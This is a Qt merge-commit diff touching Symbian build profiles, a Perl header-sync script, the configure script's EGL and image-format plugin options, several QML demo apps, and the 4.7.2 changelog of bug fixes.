Merge remote branch 'earth-team/master' into master-i18n

Conflicts:
	src/corelib/tools/qlocale.cpp

1032 files changed, 46417 insertions, 24035 deletions

diff --git a/config.profiles/symbian/bld.inf b/config.profiles/symbian/bld.inf
index d2d959b..ddb5157 100644
--- a/config.profiles/symbian/bld.inf
+++ b/config.profiles/symbian/bld.inf
@@ -78,5 +78,5 @@ translations/qt_zh_tw_symbian.ts /epoc32/include/platform/qt/translations/qt_zh_
 PRJ_EXTENSIONS
 START EXTENSION qt/qtconfig
 OPTION QT_ROOT ..
-OPTION OPTIONS -opensource -confirm-license -openvg -opengl-es-2 -script -no-scripttools -no-webkit -make make -graphicssystem openvg -no-phonon-backend -usedeffiles -dont-process -nomake examples -nomake demos -nomake tools -audio-backend -fpu softvfp+vfpv2
+OPTION OPTIONS -opensource -confirm-license -openvg -opengl-es-2 -script -no-scripttools -no-webkit -make make -graphicssystem openvg -phonon -phonon-backend -usedeffiles -dont-process -nomake examples -nomake demos -nomake tools -audio-backend -fpu softvfp+vfpv2
 END
\ No newline at end of file
diff --git a/config.profiles/symbian/headerexport b/config.profiles/symbian/headerexport
index e9e6f3b..d9f99e5 100644
--- a/config.profiles/symbian/headerexport
+++ b/config.profiles/symbian/headerexport
@@ -3,7 +3,7 @@
 #
 # Synchronizes Qt header files - internal development tool.
 #
-# Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+# Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
 # Contact: Nokia Corporation (qt-info@nokia.com)
 #
 ######################################################################
@@ -315,17 +315,16 @@ sub classNames {
 }
 
 ######################################################################
-# Syntax:  syncHeader(header, iheader, copy, timestamp)
+# Syntax:  syncHeader(header, iheader, copy)
 # Params:  header, string, filename to create "symlink" for
 #          iheader, string, destination name of symlink
 #          copy, forces header to be a copy of iheader
-#          timestamp, the requested modification time if copying
 #
 # Purpose: Syncronizes header to iheader
 # Returns: 1 if successful, else 0.
 ######################################################################
 sub syncHeader {
-    my ($header, $iheader, $copy, $ts) = @_;
+    my ($header, $iheader, $copy) = @_;
     $iheader =~ s=\\=/=g;
     $header =~ s=\\=/=g;
     return copyFile($iheader, $header) if($copy);
@@ -339,7 +338,6 @@ sub syncHeader {
         open HEADER, ">$header" || die "Could not open $header for writing!\n";
         print HEADER "#include \"$iheader_out\"\n";
         close HEADER;
-        utime(time, $ts, $header) or die "$iheader, $header";
         return 1;
     }
     return 0;
@@ -453,48 +451,21 @@ sub fileCompare {
 sub copyFile
 {
     my ($file,$ifile, $copy,$knowdiff,$filecontents,$ifilecontents) = @_;
-    # Bi-directional synchronization
+
     open( I, "< " . $file ) || die "Could not open $file for reading";
     local $/;
     binmode I;
     $filecontents = <I>;
     close I;
-    if ( open(I, "< " . $ifile) ) {
-        local $/;
-        binmode I;
-        $ifilecontents = <I>;
-        close I;
-        $copy = fileCompare($file, $ifile);
-        $knowdiff = 0,
-    } else {
-        $copy = -1;
-        $knowdiff = 1;
-    }
 
-    if ( $knowdiff || ($filecontents ne $ifilecontents) ) {
-    if ( $copy > 0 && !$oneway) {
-            my $file_dir = dirname($file);
-            mkpath $file_dir, !$quiet unless(-e $file_dir);
-            open(O, "> " . $file) || die "Could not open $file for writing (no write permission?)";
-            local $/;
-            binmode O;
-            print O $ifilecontents;
-            close O;
-            utime time, (stat($ifile))[9], $file;
-            return 1;
-        } elsif ( $copy < 0 ) {
-            my $ifile_dir = dirname($ifile);
-            mkpath $ifile_dir, !$quiet unless(-e $ifile_dir);
-            open(O, "> " . $ifile) || die "Could not open $ifile for writing (no write permission?)";
-            local $/;
-            binmode O;
-            print O $filecontents;
-            close O;
-            utime time, (stat($file))[9], $ifile;
-            return 1;
-        }
-    }
-    return 0;
+    my $ifile_dir = dirname($ifile);
+    mkpath $ifile_dir, !$quiet unless(-e $ifile_dir);
+    open(O, "> " . $ifile) || die "Could not open $ifile for writing (no write permission?)";
+    local $/;
+    binmode O;
+    print O $filecontents;
+    close O;
+    return 1;
 }
 
 ######################################################################
@@ -848,7 +819,6 @@ foreach my $lib (@modules_to_sync) {
                             print "SYMBOL: $_\n";
                         }
                     } else {
-                        my $ts = (stat($iheader))[9];
                         #find out all the places it goes..
                         my @headers;
                         if ($public_header) {
@@ -887,18 +857,18 @@ foreach my $lib (@modules_to_sync) {
 #                                  class =~ s,::,/,g;
 #                               }
                                 $class_lib_map_contents .= "QT_CLASS_LIB($full_class, $lib, $header_base)\n";
-                                $header_copies++ if(syncHeader("$out_basedir/$out_subdir/$lib/$class", "$out_basedir/$out_subdir/$lib/$header", 0, $ts));
+                                $header_copies++ if(syncHeader("$out_basedir/$out_subdir/$lib/$class", "$out_basedir/$out_subdir/$lib/$header", 0));
 
                                 # KDE-Compat headers for Phonon
                                 if ($lib eq "phonon") {
-                                    $header_copies++ if (syncHeader("$out_basedir/$out_subdir/phonon_compat/Phonon/$class", "$out_basedir/$out_subdir/$lib/$header", 0, $ts));
+                                    $header_copies++ if (syncHeader("$out_basedir/$out_subdir/phonon_compat/Phonon/$class", "$out_basedir/$out_subdir/$lib/$header", 0));
                                 }
                             }
                         } elsif ($create_private_headers) {
                             @headers = ( "$out_basedir/$out_subdir/$lib/private/$header" );
                         }
                         foreach(@headers) { #sync them
-                            $header_copies++ if(syncHeader($_, $iheader, $copy_headers, $ts));
+                            $header_copies++ if(syncHeader($_, $iheader, $copy_headers));
                         }
 
                         if($public_header) {
@@ -1132,7 +1102,7 @@ if($check_includes) {
                     }
                 }
             }
-        }
     }
+}
 
 exit 0;
diff --git a/config.profiles/symbian/package_definition.xml b/config.profiles/symbian/package_definition.xml
index f0c6652..1c3c1d3 100644
--- a/config.profiles/symbian/package_definition.xml
+++ b/config.profiles/symbian/package_definition.xml
@@ -5,7 +5,7 @@
   <package id="qt" name="Qt" levels="tool mw app">
     <collection id="qtconf" name="Qt Config" level="tool">
             <component id="qt_deviceconfiguration" name="Qt Device Configuration" class="config tool" filter="s60,qt_tools" introduced="^2">
-                <unit bldFile="src/config.profiles/symbian"/>
+                <unit bldFile="config.profiles/symbian"/>
             </component>
     </collection>
     <collection id="qt_info" name="Qt Info" level="mw">
@@ -16,7 +16,7 @@
 
     <collection id="qtlocalization" name="Qt Localization" level="app">
             <component id="qtlocalization_build" name="Qt localization Build" introduced="^2" filter="s60">
-            <unit bldFile="src/config.profiles/symbian/translations_symbian" qt:proFile="translations.pro"/>
+            <unit bldFile="config.profiles/symbian/translations_symbian" qt:proFile="translations.pro"/>
             </component>
     </collection>
 
diff --git a/config.profiles/symbian/qt.iby b/config.profiles/symbian/qt.iby
index 2b3be0a..7431cfa 100644
--- a/config.profiles/symbian/qt.iby
+++ b/config.profiles/symbian/qt.iby
@@ -43,8 +43,8 @@ file=ABI_DIR\BUILD_DIR\qsvgicon.dll          SHARED_LIB_DIR\qsvgicon.dll
 // This is commented out by default, as normally Helix backend will be used.
 // If the Helix backend is present, it will override MMF backend, so make sure to remove it from
 // image creation in addition to uncommenting the following lines if you want to use MMF backend.
-//file=ABI_DIR\BUILD_DIR\phonon_mmf.dll        SHARED_LIB_DIR\phonon_mmf.dll
-//data=\epoc32\data\z\resource\qt\plugins\phonon_backend\phonon_mmf.qtplugin resource\qt\plugins\phonon_backend\phonon_mmf.qtplugin
+file=ABI_DIR\BUILD_DIR\phonon_mmf.dll        SHARED_LIB_DIR\phonon_mmf.dll
+data=\epoc32\data\z\resource\qt\plugins\phonon_backend\phonon_mmf.qtplugin resource\qt\plugins\phonon_backend\phonon_mmf.qtplugin
 
 // QtMultimedia audio backend
 file=ABI_DIR\BUILD_DIR\qaudio.dll            SHARED_LIB_DIR\qaudio.dll
diff --git a/config.profiles/symbian/qt.pkg b/config.profiles/symbian/qt.pkg
index 7bd1c59..6ef51ce 100644
--- a/config.profiles/symbian/qt.pkg
+++ b/config.profiles/symbian/qt.pkg
@@ -62,7 +62,12 @@
 "/epoc32/data/z/resource/qt/plugins/graphicssystems/qglgraphicssystem.qtplugin" - "!:\resource\qt\plugins\graphicssystems\qglgraphicssystem.qtplugin"
 "/epoc32/release/armv5/urel/qsvgicon.dll"    - "!:\sys\bin\qsvgicon.dll"
 "/epoc32/data/z/resource/qt/plugins/iconengines/qsvgicon.qtplugin"    - "!:\resource\qt\plugins\iconengines\qsvgicon.qtplugin"
-"/epoc32/data/z/resource/qt/plugins/bearer/qsymbianbearer.qtplugin" - "c:\resource\qt\plugins\bearer\qsymbianbearer.qtplugin"
+"/epoc32/data/z/resource/qt/plugins/bearer/qsymbianbearer.qtplugin" - "!:\resource\qt\plugins\bearer\qsymbianbearer.qtplugin"
+
+; Phonon MMF plugin
+"/epoc32/release/armv5/urel/phonon_mmf.dll"    - "!:\sys\bin\phonon_mmf.dll"
+"/epoc32/data/z/resource/qt/plugins/phonon_backend/phonon_mmf.qtplugin" - "!:\resource\qt\plugins\phonon_backend\phonon_mmf.qtplugin"
+
 
 "/epoc32/release/armv5/urel/qts60plugin_5_0.dll" - "!:\sys\bin\qts60plugin_5_0.dll"
 
diff --git a/configure b/configure
index b11d82d..25ab1a1 100755
--- a/configure
+++ b/configure
@@ -934,6 +934,16 @@ if [ -d "$relpath/src/plugins/gfxdrivers" ]; then
   CFG_GFX_OFF="$CFG_GFX_AVAILABLE" # assume all off
 fi
 
+CFG_IMAGEFORMAT_PLUGIN_AVAILABLE=
+if [ -d "$relpath/src/plugins/imageformats" ]; then
+    for a in "$relpath/src/plugins/imageformats/"*; do
+        if [ -d "$a" ]; then
+            base_a=`basename "$a"`
+            CFG_IMAGEFORMAT_PLUGIN_AVAILABLE="${CFG_IMAGEFORMAT_PLUGIN_AVAILABLE} ${base_a}"
+        fi
+    done
+fi
+
 #-------------------------------------------------------------------------------
 # Set Default NaCl options
 #-------------------------------------------------------------------------------
@@ -2140,7 +2150,7 @@ while [ "$#" -gt 0 ]; do
             UNKNOWN_OPT=yes
         fi
         ;;
-    sql-*|gfx-*|decoration-*|kbd-*|mouse-*)
+    sql-*|gfx-*|decoration-*|kbd-*|mouse-*|imageformat-*)
         # if Qt style options were used, $VAL can be "no", "qt", or "plugin"
         # if autoconf style options were used, $VAL can be "yes" or "no"
         [ "$VAL" = "yes" ] && VAL=qt
@@ -2182,6 +2192,13 @@ while [ "$#" -gt 0 ]; do
 		avail="$CFG_MOUSE_PLUGIN_AVAILABLE"
 	    fi
             ;;
+        imageformat)
+            avail="$CFG_IMAGEFORMAT_PLUGIN_AVAILABLE"
+            if [ "$OPT" != "plugin" ]; then
+                # png is always built in
+                avail="$avail png"
+            fi
+            ;;
         *)
             avail=""
             echo "BUG: Unhandled type $VAR used in $CURRENT_OPT"
@@ -2202,6 +2219,11 @@ while [ "$#" -gt 0 ]; do
             # set the CFG_SQL_driver
             eval "CFG_SQL_$VAL=\$OPT"
             continue
+        elif [ "$VAR" = "imageformat" ]; then
+            [ "$OPT" = "qt" ] && OPT=yes
+            VAL="`echo $VAL |tr a-z A-Z`"
+            eval "CFG_$VAL=$OPT"
+            continue
         fi
 
         if [ "$OPT" = "plugin" ] || [ "$OPT" = "qt" ]; then
@@ -6295,19 +6317,28 @@ if [ "$PLATFORM_QWS" = "yes" -o "$PLATFORM_QPA" = "yes" ]; then
 
 fi # QWS
 
+EGL_VARIANT=none
 # EGL Support
 if [ "$PLATFORM_X11" = "yes" -o "$PLATFORM_QWS" = "yes" ]; then
     if [ "$CFG_EGL" != "no" ]; then
         # detect EGL support
-        if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then
-            # EGL specified by QMAKE_*_EGL, included with <GLES/egl.h>
-            CFG_EGL=yes
-            CFG_EGL_GLES_INCLUDES=yes
-        elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then
+        if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then
             # EGL specified by QMAKE_*_EGL, included with <EGL/egl.h>
+            EGL_VARIANT=regular
             CFG_EGL=yes
-            CFG_EGL_GLES_INCLUDES=no
-        else
+        fi
+
+        # Prefer this variant for ES1
+        if [ "$CFG_OPENGL" = "es1" -o "$EGL_VARIANT" = "none" ]; then
+            if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then
+                # EGL specified by QMAKE_*_EGL, included with <GLES/egl.h>
+                EGL_VARIANT=gles
+                CFG_EGL=yes
+                CFG_EGL_GLES_INCLUDES=yes
+            fi
+        fi
+
+        if [ "$EGL_VARIANT" = "none" ]; then
             if [ "$CFG_EGL" = "yes" ]; then
                 echo "The EGL functionality test failed!"
                 echo " EGL is required for OpenGL ES to manage contexts & surfaces."
@@ -6671,6 +6702,8 @@ if [ "$CFG_JAVASCRIPTCORE_JIT" = "yes" ] || [ "$CFG_JAVASCRIPTCORE_JIT" = "auto"
         if [ $? != "0" ]; then
            CFG_JAVASCRIPTCORE_JIT=no
         fi
+    elif [ "$XPLATFORM" = "symbian-gcce" ]; then
+        CFG_JAVASCRIPTCORE_JIT=no
     fi
 fi
 
@@ -7376,11 +7409,11 @@ EOF
         canBuildWebKit="no"
         canBuildQtConcurrent="no"
 	;;
-    symbian/*-gcce)
+    symbian-gcce)
         canBuildWebKit="no"
         canBuildQtConcurrent="no"
         ;;
-    symbian/*-armcc)
+    symbian-armcc)
         canBuildQtConcurrent="no"
         ;;
 esac
diff --git a/demos/browser/networkaccessmanager.cpp b/demos/browser/networkaccessmanager.cpp
index 9e717bb..c63c0eb 100644
--- a/demos/browser/networkaccessmanager.cpp
+++ b/demos/browser/networkaccessmanager.cpp
@@ -64,7 +64,7 @@
 NetworkAccessManager::NetworkAccessManager(QObject *parent)
     : QNetworkAccessManager(parent),
     requestFinishedCount(0), requestFinishedFromCacheCount(0), requestFinishedPipelinedCount(0),
-    requestFinishedSecureCount(0)
+    requestFinishedSecureCount(0), requestFinishedDownloadBufferCount(0)
 {
     connect(this, SIGNAL(authenticationRequired(QNetworkReply*,QAuthenticator*)),
             SLOT(authenticationRequired(QNetworkReply*,QAuthenticator*)));
@@ -106,14 +106,19 @@ void NetworkAccessManager::requestFinished(QNetworkReply *reply)
     if (reply->attribute(QNetworkRequest::ConnectionEncryptedAttribute).toBool() == true)
         requestFinishedSecureCount++;
 
+    if (reply->attribute(QNetworkRequest::DownloadBufferAttribute).isValid() == true)
+        requestFinishedDownloadBufferCount++;
+
     if (requestFinishedCount % 10)
         return;
 
     double pctCached = (double(requestFinishedFromCacheCount) * 100.0/ double(requestFinishedCount));
     double pctPipelined = (double(requestFinishedPipelinedCount) * 100.0/ double(requestFinishedCount));
     double pctSecure = (double(requestFinishedSecureCount) * 100.0/ double(requestFinishedCount));
+    double pctDownloadBuffer = (double(requestFinishedDownloadBufferCount) * 100.0/ double(requestFinishedCount));
+
 #ifdef QT_DEBUG
-    qDebug("STATS [%lli requests total] [%3.2f%% from cache] [%3.2f%% pipelined] [%3.2f%% SSL/TLS]", requestFinishedCount, pctCached, pctPipelined, pctSecure);
+    qDebug("STATS [%lli requests total] [%3.2f%% from cache] [%3.2f%% pipelined] [%3.2f%% SSL/TLS] [%3.2f%% Zerocopy]", requestFinishedCount, pctCached, pctPipelined, pctSecure, pctDownloadBuffer);
 #endif
 }
 
diff --git a/demos/browser/networkaccessmanager.h b/demos/browser/networkaccessmanager.h
index 76fc198..d6e6ede 100644
--- a/demos/browser/networkaccessmanager.h
+++ b/demos/browser/networkaccessmanager.h
@@ -60,6 +60,7 @@ private:
     qint64 requestFinishedFromCacheCount;
     qint64 requestFinishedPipelinedCount;
     qint64 requestFinishedSecureCount;
+    qint64 requestFinishedDownloadBufferCount;
 
 public slots:
     void loadSettings();
diff --git a/demos/declarative/calculator/calculator.qml b/demos/declarative/calculator/calculator.qml
index 13f228d..441bfb9 100644
--- a/demos/declarative/calculator/calculator.qml
+++ b/demos/declarative/calculator/calculator.qml
@@ -46,7 +46,7 @@ import "Core/calculator.js" as CalcEngine
 Rectangle {
     id: window
 
-    width: 480; height: 360
+    width: 360; height: 480
     color: "#282828"
 
     property string rotateLeft: "\u2939"
@@ -63,7 +63,15 @@ Rectangle {
         id: main
         state: "orientation " + runtime.orientation
 
-        width: parent.width; height: parent.height; anchors.centerIn: parent
+        property bool landscapeWindow: window.width > window.height 
+        property real baseWidth: landscapeWindow ? window.height : window.width
+        property real baseHeight: landscapeWindow ? window.width : window.height
+        property real rotationDelta: landscapeWindow ? -90 : 0
+
+        rotation: rotationDelta
+        width: main.baseWidth
+        height: main.baseHeight
+        anchors.centerIn: parent
 
         Column {
             id: box; spacing: 8
@@ -132,24 +140,20 @@ Rectangle {
         states: [
             State {
                 name: "orientation " + Orientation.Landscape
-                PropertyChanges { target: main; rotation: 90; width: window.height; height: window.width }
-                PropertyChanges { target: rotateButton; operation: rotateLeft }
+                PropertyChanges { target: main; rotation: 90 + rotationDelta; width: main.baseHeight; height: main.baseWidth }
             },
             State {
                 name: "orientation " + Orientation.PortraitInverted
-                PropertyChanges { target: main; rotation: 180; }
-                PropertyChanges { target: rotateButton; operation: rotateRight }
+                PropertyChanges { target: main; rotation: 180 + rotationDelta; }
             },
             State {
                 name: "orientation " + Orientation.LandscapeInverted
-                PropertyChanges { target: main; rotation: 270; width: window.height; height: window.width }
-                PropertyChanges { target: rotateButton; operation: rotateLeft }
+                PropertyChanges { target: main; rotation: 270 + rotationDelta; width: main.baseHeight; height: main.baseWidth }
             }
         ]
 
         transitions: Transition {
             SequentialAnimation {
-                PropertyAction { target: rotateButton; property: "operation" }
                 RotationAnimation { direction: RotationAnimation.Shortest; duration: 300; easing.type: Easing.InOutQuint  }
                 NumberAnimation { properties: "x,y,width,height"; duration: 300; easing.type: Easing.InOutQuint }
             }
diff --git a/demos/declarative/flickr/flickr.qml b/demos/declarative/flickr/flickr.qml
index 11470a8..e0af466 100644
--- a/demos/declarative/flickr/flickr.qml
+++ b/demos/declarative/flickr/flickr.qml
@@ -62,7 +62,7 @@ Item {
 
             GridView {
                 id: photoGridView; model: rssModel; delegate: Mobile.GridDelegate {}
-                cacheBuffer: 100
+                cacheBuffer: 1000
                 cellWidth: (parent.width-2)/4; cellHeight: cellWidth; width: parent.width; height: parent.height
             }
 
diff --git a/demos/declarative/minehunt/minehunt.qml b/demos/declarative/minehunt/minehunt.qml
index 1a69c95..026689b 100644
--- a/demos/declarative/minehunt/minehunt.qml
+++ b/demos/declarative/minehunt/minehunt.qml
@@ -104,7 +104,7 @@ Item {
         anchors.centerIn: parent; width: parent.width - 20
         horizontalAlignment: Text.AlignHCenter
         wrapMode: Text.WordWrap
-        text: "Minehunt will not run properly if the C++ plugin is not compiled.\n\nPlease see README."
+        text: "Minehunt demo has to be compiled to run.\n\nPlease see README."
         color: "white"; font.bold: true; font.pixelSize: 14
         visible: tiles == undefined
     }
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
index 73b8fa7..dcb1112 100644
--- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
+++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
@@ -39,7 +39,7 @@
 **
 ****************************************************************************/
 
-import QtQuick 1.0
+import QtQuick 1.1
 import "script/script.js" as Script
 
 Package {
@@ -61,7 +61,7 @@ Package {
 
             BorderImage {
                 anchors {
-                    fill: border.visible ? border : placeHolder
+                    fill: originalImage.status == Image.Ready ? border : placeHolder
                     leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8
                 }
                 source: 'images/box-shadow.png'; smooth: true
@@ -88,11 +88,11 @@ Package {
             }
             BusyIndicator { anchors.centerIn: parent; on: originalImage.status != Image.Ready }
             Image {
-                id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content)
+                id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content); cache: false
                 fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height
             }
             Image {
-                id: hqImage; smooth: true; source: ""; visible: false
+                id: hqImage; smooth: true; source: ""; visible: false; cache: false
                 fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height
             }
             Binding {
diff --git a/demos/declarative/samegame/SamegameCore/BoomBlock.qml b/demos/declarative/samegame/SamegameCore/BoomBlock.qml
index da51230..009aeca 100644
--- a/demos/declarative/samegame/SamegameCore/BoomBlock.qml
+++ b/demos/declarative/samegame/SamegameCore/BoomBlock.qml
@@ -39,7 +39,7 @@
 **
 ****************************************************************************/
 
-import QtQuick 1.0
+import QtQuick 1.1
 import Qt.labs.particles 1.0
 
 Item {
diff --git a/demos/declarative/samegame/SamegameCore/Button.qml b/demos/declarative/samegame/SamegameCore/Button.qml
index aea4e53..b2b232c 100644
--- a/demos/declarative/samegame/SamegameCore/Button.qml
+++ b/demos/declarative/samegame/SamegameCore/Button.qml
@@ -39,7 +39,7 @@
 **
 ****************************************************************************/
 
-import QtQuick 1.0
+import QtQuick 1.1
 
 Rectangle {
     id: container
diff --git a/demos/declarative/samegame/SamegameCore/Dialog.qml b/demos/declarative/samegame/SamegameCore/Dialog.qml
index b11c65c..ecac475 100644
--- a/demos/declarative/samegame/SamegameCore/Dialog.qml
+++ b/demos/declarative/samegame/SamegameCore/Dialog.qml
@@ -39,7 +39,7 @@
 **
 ****************************************************************************/
 
-import QtQuick 1.0
+import QtQuick 1.1
 
 Rectangle {
     id: page
diff --git a/demos/declarative/samegame/SamegameCore/samegame.js b/demos/declarative/samegame/SamegameCore/samegame.js
index e618a10..bb587bc 100755
--- a/demos/declarative/samegame/SamegameCore/samegame.js
+++ b/demos/declarative/samegame/SamegameCore/samegame.js
@@ -180,21 +180,22 @@ function createBlock(column,row)
     // only work if the block QML is a local file. Otherwise the component will
     // not be ready immediately. There is a statusChanged signal on the
     // component you could use if you want to wait to load remote files.
-    if (component.status == Component.Ready) {
-        var dynamicObject = component.createObject(gameCanvas);
-        if (dynamicObject == null) {
+    if(component.status == Component.Ready){
+        var dynamicObject = component.createObject(gameCanvas,
+                {"type": Math.floor(Math.random() * 3),
+                "x": column*gameCanvas.blockSize,
+                "width": gameCanvas.blockSize,
+                "height": gameCanvas.blockSize});
+        if(dynamicObject == null){
             console.log("error creating block");
             console.log(component.errorString());
             return false;
         }
-        dynamicObject.type = Math.floor(Math.random() * 3);
-        dynamicObject.x = column * gameCanvas.blockSize;
-        dynamicObject.y = row * gameCanvas.blockSize;
-        dynamicObject.width = gameCanvas.blockSize;
-        dynamicObject.height = gameCanvas.blockSize;
+        dynamicObject.y = row*gameCanvas.blockSize;
         dynamicObject.spawned = true;
-        board[index(column, row)] = dynamicObject;
-    } else {
+
+        board[index(column,row)] = dynamicObject;
+    }else{
         console.log("error loading block component");
         console.log(component.errorString());
         return false;
diff --git a/demos/declarative/samegame/samegame.qml b/demos/declarative/samegame/samegame.qml
index ebb8e4a..ab64156 100644
--- a/demos/declarative/samegame/samegame.qml
+++ b/demos/declarative/samegame/samegame.qml
@@ -39,7 +39,7 @@
 **
 ****************************************************************************/
 
-import QtQuick 1.0
+import QtQuick 1.1
 import "SamegameCore"
 import "SamegameCore/samegame.js" as Logic
 
diff --git a/demos/declarative/snake/snake.qml b/demos/declarative/snake/snake.qml
index 7565058..d81ce9e 100644
--- a/demos/declarative/snake/snake.qml
+++ b/demos/declarative/snake/snake.qml
@@ -105,7 +105,7 @@ Rectangle {
         source: "content/pics/pause.png"
         anchors.centerIn: parent;
         //opacity is deliberately not animated
-        opacity: activeGame && !runtime.isActiveWindow
+        opacity: activeGame && !Qt.application.active
     }
 
     Image {
diff --git a/demos/declarative/webbrowser/content/FlickableWebView.qml b/demos/declarative/webbrowser/content/FlickableWebView.qml
index 737d11f..947b843 100644
--- a/demos/declarative/webbrowser/content/FlickableWebView.qml
+++ b/demos/declarative/webbrowser/content/FlickableWebView.qml
@@ -128,7 +128,7 @@ Flickable {
                         if (!heuristicZoom(clickX,clickY,2.5)) {
                             var zf = flickable.width / contentsSize.width
                             if (zf >= contentsScale)
-                                zf = 2.0/zoomFactor // zoom in (else zooming out)
+                                zf = 2.0*contentsScale // zoom in (else zooming out)
                             doZoom(zf,clickX*zf,clickY*zf)
                          }
                        }
diff --git a/demos/qmediaplayer/qmediaplayer.pro b/demos/qmediaplayer/qmediaplayer.pro
index f8f81ad..a7a6181 100644
--- a/demos/qmediaplayer/qmediaplayer.pro
+++ b/demos/qmediaplayer/qmediaplayer.pro
@@ -33,7 +33,7 @@ symbian {
 
     include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
 
-	LIBS += -lCommDb
+	LIBS += -lcommdb
 
     TARGET.CAPABILITY="NetworkServices"
 }
diff --git a/dist/changes-4.7.2 b/dist/changes-4.7.2
index 0d93052..c7e0089 100644
--- a/dist/changes-4.7.2
+++ b/dist/changes-4.7.2
@@ -16,158 +16,263 @@ Qt Bug Tracker: http://bugreports.qt.nokia.com
 Merge Request:  http://qt.gitorious.org
 
 ****************************************************************************
-*                           General                                        *
-****************************************************************************
-
-New features
-------------
-
- - SomeClass, SomeOtherClass
-    * New classes for foo, bar and baz
-
-Optimizations
--------------
-
- - Optimized foo in QSomeClass
-    * See list of Important Behavior Changes below
-
-
-****************************************************************************
 *                          Library                                         *
 ****************************************************************************
 
 QtCore
 ------
 
- - foo
-    * bar
+ - QMutex
+    * [QTBUG-16115] Fixed deadlock when calling tryLock repeatedly.
+ - QStateMachine
+    * [QTBUG-14491] Fixed compilation on AIX 5.3 with gcc.
+ - QThread
+    * [QTBUG-15378] QThread::exec returaed immediately if QThread::exit had
+      been called when event loop was not running.
 
 QtGui
 -----
 
+ - Painting
+    * [QTBUG-14907] Fix OpenVG painting artifacts after restoreState().
+    * [QTBUG-15320] QPainter::drawRect crashed when drawing a null QRectF 
+      with OpenGL.
+    * [QTBUG-15693] Prevent crash in drawhelper code when the cpu has MMXEXT
+      but no SSE.
+ - QDoubleValidator
+    * [QTBUG-14935] With some locales, QDoubleValidator would not accept "C"
+      locale valid numbers.
+ - QFileDialog
+    * [QTBUG-17298] QFileDialog::getOpenFileNames didn't show any file.
+ - QGraphicsView
+    * [QTBUG-16063] Fix precision loss when querying micro focus rectangle
+      in QGraphicsView.
+ - QPainterPath
+    * [QTBUG-16377] Prevent QPainterPath::connectPath() returning incorrect
+      path, which caused OpenGL paint engine to crash.
+ - QTableWidget
+    * [QTBUG-15973] Resizinag a QTableWidget column where a cell contains a
+      QProgressBar made it crash.
+ - QTextDocument
+    * [QTBUG-15777] Fxied crash in QTextDocument::markContentsDirty.
+ - QTextLayout
+    * [QTBUG-15823] Fixed crash in QTextLayout when drawing full width
+      selection spanning multiple QTextLine's.
  - QWidget
     * [QTMOBILITY-645] Send WinIdChange event when winId is set to zero.
-	  The window handle of a native widget may be set to zero in two
-	  situations: (i) temporarily, during reparenting and (ii) during
-	  widget destruction.  Previously, no WinIdChange event was sent in
-	  either of these cases; now, it is sent in both cases.
-
-QtDBus
-------
-
- - foo
-    * bar
+      The window handle of a native widget may be set to zero in two
+      situations: (i) temporarily, during reparenting and (ii) during
+      widget destruction.  Previously, no WinIdChange event was sent in
+      either of these cases; now, it is sent in both cases.
 
 QtNetwork
 ---------
 
- - foo
-    * bar
+ - Bearer Management
+    * [QTBUG-15276] Fixed possible crash when parsing new connection.
+ - QUrl
+    * [QTBUG-16425] QUrl::setUrl() did not call detach().
 
-QtOpenGL
---------
+QtQuick
+-------
 
- - foo
-    * bar
+ - [QTBUG-14374] Fixed broken alignment of rich text.
+ - [QTBUG-14727] QML Text element did not play nice with transformations.
+ - [QTBUG-14761] Fixed memory leak in QDeclarativeComponent.
+ - [QTBUG-14830] Fixed crash when adjusting width inside onWidthChanged.
+ - [QTBUG-15710] Ensure header is considered when positioning content with
+   snapping.
+ - [QTBUG-16365] When using a PathView with a VisualDataModel which in turn
+   used a Tree model (DirModel, for example), nothing was shown.
+ - [QTBUG-16769] QML BorderImage failed if .sci file contained a URL.
 
 QtScript
 --------
 
- - foo
-    * bar
+ - General
+    * [QTBUG-17166] Fix ScopeChainNode memory leak in JavaScriptCore.
+ - QScriptContext
+    * [QTBUG-17137] Fix crash when generating backtrace involving a
+      built-in (ECMA) function.
+ - QScriptEngine
+    * [QTBUG-16987] Ensure QScriptProgram objects are invalidated
+      when engine is destroyed.
+    * [QTBUG-16828] Fix alignment issue causing crashes on platforms
+      with only 4-byte-aligned malloc'ed memory (e.g. Symbian debug
+      builds).
+    * [QTBUG-15144] Fix GC-related crash in QScriptValue::setData().
+    * [QTBUG-15079] Fix crash when QScriptClass property getter
+      returns an invalid value.
+    * [QTBUG-13440] Fix bug that caused Math.random() not to
+      produce random values.
+  - QScriptValue
+    * [QTBUG-14801] Fix crash in QScriptValue::construct() when
+      the function throws a non-Object value.
 
 QtSql
 -----
 
- - foo
-    * bar
-
-QtXml
------
-
- - foo
-    * bar
-
-Qt Plugins
-----------
-
- - foo
-    * bar
-
-Third party components
-----------------------
-
- - Updated foo to version 2.3.9.
-
- - Updated bar to the latest version from baz.org.
+ - [QTBUG-14132] Fix errors in Oracle (xe) stored procedures with bind
+   variables.
